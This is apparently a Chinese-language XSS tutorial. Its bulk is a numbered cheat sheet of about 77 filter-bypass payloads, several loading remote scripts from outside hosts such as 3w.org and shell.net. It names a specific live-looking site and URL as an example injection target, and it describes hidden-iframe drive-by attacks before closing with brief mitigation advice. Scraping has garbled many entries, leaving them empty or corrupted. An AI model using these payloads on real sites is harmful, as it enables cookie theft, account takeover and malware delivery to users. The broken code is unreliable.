xss***就是恶意***者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

一般而言,利用跨站脚本***,***者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

XSS***使用到的技术主要为HTML和Javascript,也包括VBScript和ActionScript等。XSS***对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到***,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。 


XSS***分成两类
一类是来自内部的***,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的 跨站漏洞。
另一类则是来自外部的***,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要***一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的 管理员打开

XSS的类型
一种是入库型:即代码被写入数据库
令一种就是非入库型:代码没有被写入数据库

XSS工作流程

1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:
2)恶意提交这个表单
3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。


XSS常见的***代码
(1)普通的XSS JavaScript注入

(2)IMG标签XSS使用JavaScript命令

(3)IMG标签无分号无引号

(4)IMG标签大小写不敏感

(5)HTML编码(必须有分号)

(6)修正缺陷IMG标签
”>
(7)formCharCode标签(计算器)

(8)UTF-8的Unicode编码(计算器)

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

(10)十六进制编码也是没有分号(计算器)

(11)嵌入式标签,将Javascript分开

(12)嵌入式编码标签,将Javascript分开

(13)嵌入式换行符

(14)嵌入式回车

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

(16)解决限制字符(要求同页面)

< script>z=z+’write(“‘
< script>z=z+’
< script>z=z+’ src=ht’
< script>z=z+’tp://ww’
< script>z=z+’w.shell’
< script>z=z+’.net/1.’
< script>z=z+’js>
< script>z=z+’ript>”)’
< script>eval_r(z)
(17)空字符
perl -e ‘print “”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “alert(\”XSS\”)”;’ > out
(19)Spaces和meta前的IMG标签

(20)Non-alpha-non-digit XSS
< SCRIPT/XSS SRC=” http://3w.org/XSS/xss.js”>
(21)Non-alpha-non-digit XSS to 2
< BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
< SCRIPT/SRC=” http://3w.org/XSS/xss.js”>
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)

(25)无结束脚本标记2
< SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
< IMG SRC=”alert(‘XSS’)”
(27)双开角括号
(28)无单引号 双引号 分号

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
< /TITLE>
(31)Input Image
< INPUT SRC=”alert(‘XSS’);”>
(32)BODY Image
< BODY BACKGROUND=”alert(‘XSS’)”>
(33)BODY标签

(34)IMG Dynsrc
< IMG DYNSRC=”alert(‘XSS’)”>
(35)IMG Lowsrc
< IMG LOWSRC=”alert(‘XSS’)”>
(36)BGSOUND
< BGSOUND SRC=”alert(‘XSS’);”>
(37)STYLE sheet
< LINK REL=”stylesheet” HREF=”alert(‘XSS’);”>
(38)远程样式表

(39)List-style-p_w_picpath(列表式)
  • XSS
    (41)META链接url
    < META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=alert(‘XSS’);”>
    (42)Iframe
    < IFRAME SRC=”alert(‘XSS’);”>< /IFRAME>
    (43)Frame
    < FRAMESET>< /FRAMESET>
    (44)Table
    < TABLE BACKGROUND=”alert(‘XSS’)”>
    (45)TD
    < TABLE>
    (46)DIV background-p_w_picpath
    < DIV STYLE=”background-p_w_picpath: url(alert(‘XSS’))”>
    (47)DIV background-p_w_picpath后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
    < DIV STYLE=”background-p_w_picpath: url( alert(‘XSS’))”>
    (48)DIV expression
    < DIV STYLE=”width: expression_r(alert(‘XSS’));”>
    (49)STYLE属性分拆表达

    (50)匿名STYLE(组成:开角号和一个字母开头)

    (51)STYLE background-p_w_picpath
    < STYLE>.XSS{background-p_w_picpath:url(“alert(‘XSS’)”);}< /STYLE>
    (52)IMG STYLE方式
    exppression(alert(“XSS”))’>
    (53)STYLE background
    < STYLE>BODY{url(“alert(‘XSS’)”)}<  /STYLE>
    (54)BASE
    < BASE HREF=”alert(‘XSS’); //”>
    (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
    < EMBED SRC=” http://3w.org/XSS/xss.swf” >
    (56)在flash中使用ActionScrpt可以混进你XSS的代码
    a=”get”;
    b=”URL(\”";
    c=”javascript:”;
    d=”alert(‘XSS’);\”)”;
    eval_r(a+b+c+d);
    (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

    < ?import namespace=”xss” implementation=” http://3w.org/XSS/xss.htc”>
    XSS
    < /HTML>
    (58)如果过滤了你的JS你可以在图片里添加JS代码来利用

    (59)IMG嵌入式命令,可执行任意命令

    (60)IMG嵌入式命令(a.jpg在同服务器)
    Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
    (61)绕符号过滤
    ” SRC=” http://3w.org/xss.js”>
    (62)
    < SCRIPT =”>” SRC=” http://3w.org/xss.js”>
    (63)
    < SCRIPT a=”>” ” SRC=” http://3w.org/xss.js”>
    (64)
    < SCRIPT “a=’>’” SRC=” http://3w.org/xss.js”>
    (65)
    < SCRIPT a=`>` SRC=” http://3w.org/xss.js”>
    (66)
    < SCRIPT a=”>’>” SRC=” http://3w.org/xss.js”>
    (67)
    < SCRIPT>document.write(“PT SRC=” http://3w.org/xss.js”>
    (68)URL绕行
    XSS
    (69)URL编码
    XSS
    (70)IP十进制
    XSS
    (71)IP十六进制
    XSS
    (72)IP八进制
    XSS
    (73)混合编码
    tt p://6 6.000146.0×7.147/”">XSS
    (74)节省[http:]
    < A HREF=”//www.google.com/”>XSS
    (75)节省[www]
    < A HREF=” http://google.com/”>XSS
    (76)绝对点绝对DNS
    < A HREF=” http://www.google.com./”>XSS
    (77)javascript链接
    XSS

XSS漏洞挖掘及利用
1.发掘
URL中带中文的、或者带URL编码的
http://sqxhsp.com/news.asp?cat_id=11&types=企业新闻

2、利用
baidu .com>
baidu .com width=0 height=0>
baidu .com">
例:
http://sqxhsp.com/news.asp?cat_id=11&types=企业新闻
//如果iframe里面包含的就是xss脚本,当访问的时候就会构成挂马***或***网站
跨站脚本漏洞危害
  1. 钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼***方式。

  2. 网站挂马:跨站时利用IFrame嵌入隐藏的恶意网站或者将被***者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马***。

  3. 身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取到用户的Cookie,从而利用该Cookie盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。

  4. 盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份使,***者可以获取到用户对网站的操作权限,从而查看用户隐私信息。

  5. 垃圾信息发送:比如在SNS社区中,利用XSS漏洞借用被***者的身份发送大量的垃圾信息给特定的目标群。

  6. 劫持用户Web行为:一些高级的XSS***甚至可以劫持用户的Web行为,监视用户的浏览历史,发送与接收的数据等等。

  7. XSS蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS***等。

 

 

跨站脚本漏洞解决方案

 

  1. 检查变量是否正确初始化并明确变量类型

  2. 不仅要验证数据的类型,还要验证其格式、长度、范围和内容。

  3. 不要仅仅在客户端对数据做HTML标签转义以及过滤单引号,双引号等危险字符,关键的过滤步骤也应该在服务端进行。

  4. 对输出到页面的数据也要做安全检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。

  5. 在发布应用程序之前测试所有已知的威胁。